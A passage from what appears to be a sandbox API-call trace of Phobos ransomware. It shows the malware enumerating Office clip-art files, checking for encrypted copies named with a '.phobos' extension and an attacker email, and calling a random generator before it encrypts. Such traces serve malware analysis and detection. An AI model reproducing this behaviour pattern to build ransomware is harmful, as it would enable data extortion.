(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0228959.wmf")) returned 0x220 [0152.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0228959.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.144] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0228959.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.146] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.146] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232171.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.147] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=13098) returned 1 [0152.147] CloseHandle (hObject=0x564) returned 1 [0152.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232171.wmf")) returned 0x220 [0152.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232171.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232171.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.149] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.151] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.151] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232795.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.155] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=14346) returned 1 [0152.156] CloseHandle (hObject=0x564) returned 1 [0152.156] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232795.wmf")) returned 0x220 [0152.156] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232795.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.157] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232795.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.158] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232803.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.160] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=19942) returned 1 [0152.160] CloseHandle (hObject=0x564) returned 1 [0152.160] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232803.wmf")) returned 0x220 [0152.160] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232803.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.160] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232803.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.160] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.160] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233512.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.163] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=9960) returned 1 [0152.163] CloseHandle (hObject=0x564) returned 1 [0152.163] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233512.wmf")) returned 0x220 [0152.163] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233512.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233512.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.165] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234000.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.166] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=52934) returned 1 [0152.166] CloseHandle (hObject=0x564) returned 1 [0152.166] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234000.wmf")) returned 0x220 [0152.166] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234000.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.167] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234000.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.167] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.167] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234001.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.168] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=19264) returned 1 [0152.168] CloseHandle (hObject=0x564) returned 1 [0152.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234001.wmf")) returned 0x220 [0152.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234001.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.168] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234001.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.168] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.168] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234376.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.169] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=32980) returned 1 [0152.169] CloseHandle (hObject=0x564) returned 1 [0152.169] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234376.wmf")) returned 0x220 [0152.169] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234376.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.169] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.169] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.169] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237225.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237225.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.170] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=52128) returned 1 [0152.170] CloseHandle (hObject=0x564) returned 1 [0152.170] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237225.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237225.wmf")) returned 0x220 [0152.170] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237225.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237225.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.170] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237225.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237225.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.170] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.170] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237228.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.171] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=22272) returned 1 [0152.171] CloseHandle (hObject=0x564) returned 1 [0152.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237228.wmf")) returned 0x220 [0152.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237228.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.171] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237228.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.171] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.172] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237336.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.173] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=24770) returned 1 [0152.173] CloseHandle (hObject=0x564) returned 1 [0152.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237336.wmf")) returned 0x220 [0152.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237336.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.173] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237759.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.174] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=20926) returned 1 [0152.174] CloseHandle (hObject=0x564) returned 1 [0152.174] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237759.wmf")) returned 0x220 [0152.174] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237759.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.175] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237759.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.175] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.175] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238333.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238333.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.175] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=22944) returned 1 [0152.175] CloseHandle (hObject=0x564) returned 1 [0152.175] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238333.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238333.wmf")) returned 0x220 [0152.176] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238333.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238333.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.176] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238333.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238333.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.176] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.176] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238927.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.178] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4916) returned 1 [0152.179] CloseHandle (hObject=0x564) returned 1 [0152.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238927.wmf")) returned 0x220 [0152.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238927.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238927.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.179] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238959.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.181] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7484) returned 1 [0152.181] CloseHandle (hObject=0x564) returned 1 [0152.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238959.wmf")) returned 0x220 [0152.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238959.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.181] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238959.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.181] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.181] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238983.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.182] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5048) returned 1 [0152.182] CloseHandle (hObject=0x564) returned 1 [0152.182] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238983.wmf")) returned 0x220 [0152.183] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238983.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.183] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238983.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.183] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.183] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239063.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.184] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5884) returned 1 [0152.184] CloseHandle (hObject=0x564) returned 1 [0152.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239063.wmf")) returned 0x220 [0152.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239063.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239063.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.187] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: 